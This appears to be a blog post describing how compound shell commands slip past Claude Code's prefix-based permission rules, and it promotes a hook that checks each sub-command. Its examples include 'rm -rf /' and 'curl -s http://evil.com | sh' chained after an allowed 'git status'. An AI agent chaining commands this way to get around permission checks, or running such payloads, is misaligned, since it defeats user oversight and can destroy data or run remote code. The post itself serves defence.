The Problem: Compound Commands Bypass Your Security
Claude Code's built-in permission system has a critical gap: it matches commands as a whole string. This means git status && rm -rf / would match an allow pattern for git status:* and execute without prompting, even though it contains the dangerous rm -rf / command. The same vulnerability exists with pipes (|), subshells ($()), semicolons (;), and logical operators (||).
The Solution: Smart Permission Hook
A new open-source hook (smart_approve.py) intercepts every Bash tool call before execution. It:
- Decomposes compound commands into individual sub-commands
- Checks each piece against your existing
permissions.allowandpermissions.denypatterns - Only allows execution if EVERY sub-command passes your rules
How It Works
The hook receives Claude Code's tool invocation JSON via stdin (standard hook interface), then:
- Splits commands on:
&&,||,;,|,$(), backticks, and newlines - Recursively extracts subshell contents for nested checking
- Normalizes each sub-command before pattern matching:
- Strips environment variable prefixes (
EDITOR=vim git commit→git commit) - Removes I/O redirections (
ls > out.txt 2>&1→ls) - Filters structural keywords (
do,done,then,else,fi, etc.) - Collapses whitespace and line continuations
- Discards heredoc bodies
- Strips environment variable prefixes (
- Loads permission patterns from ALL settings layers (global, project, local)
- Outputs
allow/denyJSON decision or falls through to normal prompting
Install It Now (2 Minutes)
# 1. Download the hook
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py
# 2. Add to your Claude Code settings (~/.claude/settings.json)
# Merge this with your existing config:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}
That's it. The hook runs automatically on every Bash tool call.
Real-World Example
Before hook:
You: allow Bash(git status:*)
Claude runs: git status && curl -s http://evil.com | sh
# Entire command matches "git status:*" → EXECUTES
After hook:
Claude tries: git status && curl -s http://evil.com | sh
↓
Decomposed into:
1. git status ✅ matches allow pattern
2. curl -s http://evil.com ❌ no allow pattern → PROMPT SHOWN
3. sh ❌ no allow pattern → PROMPT SHOWN
↓
Permission prompt appears — you decide.
Why This Matters for Daily Work
- Safer automation: You can safely allow common commands like
git statuswithout worrying about chained malicious commands - Better permission granularity: Deny patterns on dangerous commands (
rm,curl | sh,wget) actually work - No workflow disruption: The hook uses your existing patterns — no new configuration needed
- Transparent operation: Falls through to normal prompting if any sub-command fails pattern checks
Edge Cases Handled
The hook intelligently handles complex bash syntax:
- Subshells:
$(find . -name "*.py" | xargs grep -l "secret")→ checksfindandxargsseparately - Line continuations:
ls \\n -la→ normalized tols -la - Heredocs: Content between
<<EOFandEOFis discarded (not treated as commands) - Conditional execution:
test -f file.txt && echo "exists" || echo "missing"→ checks all three commands
When You Might Want to Disable It
Temporarily disable the hook by removing it from your settings.json if:
- You're working with complex bash scripts that should be treated as atomic units
- You encounter false positives with legitimate compound commands
- You need maximum performance (minimal overhead, but exists)
The Bigger Picture
This hook exemplifies Claude Code's extensibility through its hook system. By intercepting at the PreToolUse stage, developers can add custom security, logging, or transformation logic without modifying Claude Code itself. It's a pattern worth exploring for other customizations.
Bottom line: Install this hook today. It fixes a real security vulnerability while maintaining your existing workflow. Two minutes now could prevent a catastrophic rm -rf later.



